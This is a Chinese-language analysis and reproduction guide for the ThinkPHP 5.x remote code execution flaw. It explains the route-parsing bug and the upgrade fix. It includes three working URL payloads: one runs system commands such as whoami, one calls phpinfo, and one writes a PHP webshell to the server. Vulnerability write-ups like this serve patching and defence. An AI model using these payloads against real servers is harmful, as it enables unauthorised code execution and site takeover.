ThinkPHP5.x RCE 复现
字数 1083 2025-08-05 13:25:32
ThinkPHP5.x RCE漏洞分析与复现指南
漏洞概述
ThinkPHP5.x版本存在远程代码执行(RCE)漏洞,攻击者可以通过精心构造的URL实现任意代码执行。该漏洞的核心问题在于路由解析过程中对控制器名称的处理不当,允许实例化任意类并调用其方法。
影响版本
- 5.x系列 < 5.1.31
- 5.x系列 < 5.0.23
环境准备
- PHP 7.3
- ThinkPHP 5.1.29
- PHPStorm(可选,用于代码分析)
漏洞原理分析
路由解析流程
- 入口文件:
$this->dispatch初始值为空 - 路由检测:调用
routeCheck()方法 - 路径处理:通过
path()和pathinfo()方法获取路由信息- 可通过
?s=参数传入路由信息
- 可通过
- 路由检查:
Route类的check()方法处理路由 - 模块初始化:实例化
Module类并执行init()方法 - 执行流程:最终调用
Module类的run()方法
关键漏洞点
- 控制器解析问题:在
parseModuleAndClass方法中,如果控制器名称包含\或以\开头,会被当作完整类名处理 - 任意类实例化:利用命名空间可以实例化任意类
- 方法调用:通过URL参数可以调用实例化类的任意方法
漏洞利用方式
1. 使用think\app类执行任意函数
Payload:
?s=index/\think\app/invokefunction?function=call_user_func&vars[0]=system&vars[1]=whoami
原理:
- 利用
Container类的invokeFunction方法动态调用函数 - 通过
call_user_func执行系统命令
2. 使用think\request类执行PHP代码
Payload:
?s=index/\think\request/input?data[]=-1&filter=phpinfo
原理:
- 利用
Request类的input方法 filterValue方法中存在回调函数调用,参数可控
3. 使用think\template\driver\file类写入Webshell
Payload:
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
原理:
- 利用
File驱动类的write方法写入文件 - 可以写入任意PHP代码到服务器
漏洞修复方案
-
升级到安全版本:
- ThinkPHP 5.1.31或更高版本
- ThinkPHP 5.0.23或更高版本
-
临时修复措施:
- 在路由解析前对控制器名称进行严格过滤
- 禁止以
\开头的控制器名称
总结
ThinkPHP5.x的RCE漏洞源于路由解析过程中对控制器名称的不当处理,允许攻击者实例化任意类并调用其方法。通过精心构造的URL,攻击者可以实现任意代码执行、命令执行或文件写入等操作。开发人员应及时升级框架版本,避免此类安全问题。